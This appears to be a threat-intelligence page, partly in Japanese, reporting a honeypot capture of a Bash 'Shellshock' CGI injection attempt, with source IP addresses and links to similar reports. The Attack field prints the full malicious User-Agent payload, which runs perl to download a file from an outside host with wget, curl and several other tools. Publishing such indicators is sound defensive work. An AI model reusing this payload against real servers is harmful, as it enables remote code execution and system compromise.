Trusted Design

Stale Cake from 204.232.209.188

概要

Detection - Private honeypot Description - Our friends are attempting to share some cake. All indications point to this being some stale cake. - The cake comes packaged in a "Bash CGI environment variable injection attempt" Sources - 190.210.67.153 - 120.25.200.39 - 213.136.72.84 - 54.204.47.156 - 62.218.82.104 - 189.125.5.246 Attack User-Agent:.().{.:;};/usr/bin/perl.-e.'print."Content-Type:.text/plain\r\n\r\nXSUCCESS!";system(".wget.http://204.232.209.188/images/freshcafe/slice_30_192.png.;.curl.-O.http://204.232.209.188/images/freshcafe/slice_30_192.png.;.fetch.http://204.232.209.188/images/freshcafe/slice_30_192.png.;.lwp-download..http://204.232.209.188/images/freshcafe/slice_30_192.png.;.GET.http://204.232.209.188/images/freshcafe/slice_30_192.png.;.lynx.http://204.232.209.188/images/freshcafe/slice_30_192.png..");'

Created: 2026-02-23

Indicators

Indicatorsは見つかっていない。

類似Pulses

• CONPOT Honepot scan for Possible Plesk 0-day Exploit (score: 0.57)
• PHP Exploit Attempts (score: 0.56)
• Honeypot, typical linux ddos botnet script (score: 0.55)
• HTTP site with multiple stage 2 binaries. (score: 0.53)
• CONPOT Attack events 08/20/2015 - 08/20/2015 (score: 0.52)

このPulseに関連する脅威アクター (事実ベース)

このPulseに関連する脅威アクター (推論ベース)

Related CVEs

このPulseに見つかったCVEはありません。

Pulse – 脅威アクター グラフ

---

← Pulse一覧に戻る